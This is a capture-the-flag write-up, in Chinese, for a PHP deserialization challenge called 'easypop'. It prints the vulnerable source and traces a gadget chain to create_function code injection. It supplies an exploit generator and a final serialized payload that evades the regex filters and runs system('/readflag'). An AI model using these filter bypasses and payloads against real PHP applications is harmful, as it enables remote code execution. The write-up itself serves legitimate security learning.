WEB
easypop
题目给了源码
<?php
// php version 7.4.32
class a{
protected $a1;
private $a2;
private $a3;
public function __unset($unset) {
$this->a2 = [];
if($this->a3){
if($this->a1->{$unset} != []){
$this->a1->{$unset} = $this->a2;
}
}
}
function __clone(){
$cls = $this->a1;
if(is_object($cls)){
return $cls($this->a2); //e __invoke
}
return new stdClass();
}
public function __toString(){
return $this->a1.$this->a2;
}
public function __call($name, $args) {
// do nothing
}
}
class b{
private $b1;
private $b2;
public function __destruct(){
$this->b1->x11();
}
public function __wakeup(){
if (is_object($this->b1) && get_class($this->b1) != e::class) {
if (property_exists($this->b1, $this->b2)){ //$this->b2 为string类型 设置为 d 触发 __toString
unset($this->b1->{$this->b2});
}
}
exit();
}
}
class c{
private $c1;
private $c2;
public function __construct(){
$this->c1 = "are you a hacker?";
}
public function __destruct(){
echo $this->c1;
}
public function __wakeup(){
$this->c1 = "don't hack me!!!";
}
public function __call($name, $args) {
$func = $this->c2[$name];
if(!in_array($func, get_defined_functions())){
$func(...$args);#调用ev1l
}
}
}
class d{
private $d1;
private $d2;
public function __toString() {
if(!isset($this->d1) && isset($this->d2)){
$this->d1 = clone $this->d2; //a __clone
}
return $this->d1.$this->d2;
}
}
class e{
private $e1;
private $e2;
public function __invoke($args){
if($this->e1){
$this->e1->e11($args); #c __call
}
}
public function __get($name){
if(isset($this->e1) && isset($this->e2)){
$this->e1 = $this->e2;
}
return $this->e1;
}
}
class f{
public function ev1l($_){
if($_[0] != $_[1] && $_[0] !== $_[1] && md5($_[0]) === md5($_[1]) && sha1($_[0]) === sha1($_[1]) && strlen((string)$_[0]) < 5 && !is_object($_[0])){
create_function('', $_[2]);
}
}
}
if(isset($_POST['ser'])){
$ser = $_POST['ser'];
if(!preg_match('/ev1l|(s:\d+:)/',$ser) && !preg_match('/\x00|("[a-f]":\d+:\{)/i',$ser) && !preg_match("/\}$/",$ser)){
$obj = unserialize($ser);
throw new Exception("can't destruct");
}else{
die("hacker!");
}
}else{
highlight_file(__FILE__);
}
分析可得调用链如下
b::__wakeup -> d::__toString -> a::__clone -> e::__invoke -> c::__call -> f::ev1l
f::ev1l 函数那的判断用浮点数精度绕过
md5(0.4) == md5(0.400000000000004)
//true
EXP如下
<?php
class b{
private $b1;
private $b2;
public function __construct($o){
$this->b1 = $o;
$this->b2 = $o;
}
}
class d{
private $d1;
private $d2;
public function __construct($o){
$this->d2 = $o;
}
}
class a{
protected $a1;
private $a2;
private $a3;
public function __construct($o, $arg){
$this->a1 = $o;
$this->a2 = $arg; //参数
}
}
class e{
private $e1;
private $e2;
public function __construct($o){
$this->e1 = $o;
}
}
class c{
private $c1;
private $c2;
public function __construct(){
$this->c2 = array("e11"=>"f::ev1l");
}
}
$c = new c();
$e = new e($c);
$arg = array(0.4,0.400000000000004,"2;}phpinfo();/*");
$a = new a($e,$arg);
$d = new d($a);
$b = new b($d);
echo urlencode(serialize($b));
还有一段正则过滤要处理
- ev1l和\x00使用
S:
16进制绕过,顺便绕过第一个正则那的s:\d+:
过滤 "[a-f]":\d+:\{
使用b":+2:
绕过\}$
这段使用}test
绕过 }后有字符就行
最终payload如下:
O:1:"b":%2B2:{S:5:"\00b\00b1";O:1:"d":%2B2:{S:5:"\00d\00d1";N;S:5:"\00d\00d2";O:1:"a":%2B3:{S:5:"\00*\00a1";O:1:"e":%2B2:{S:5:"\00e\00e1";O:1:"c":%2B2:{S:5:"\00c\00c1";N;S:5:"\00c\00c2";a:1:{S:3:"e11";S:7:"f::\65v1l";}}S:5:"\00e\00e2";N;}S:5:"\00a\00a2";a:3:{i:0;d:0.40000000000000002;i:1;d:0.40000000000000402;i:2;S:25:"2;}system("/readflag");/*";}S:5:"\00a\00a3";N;}}S:5:"\00b\00b2";r:2;}test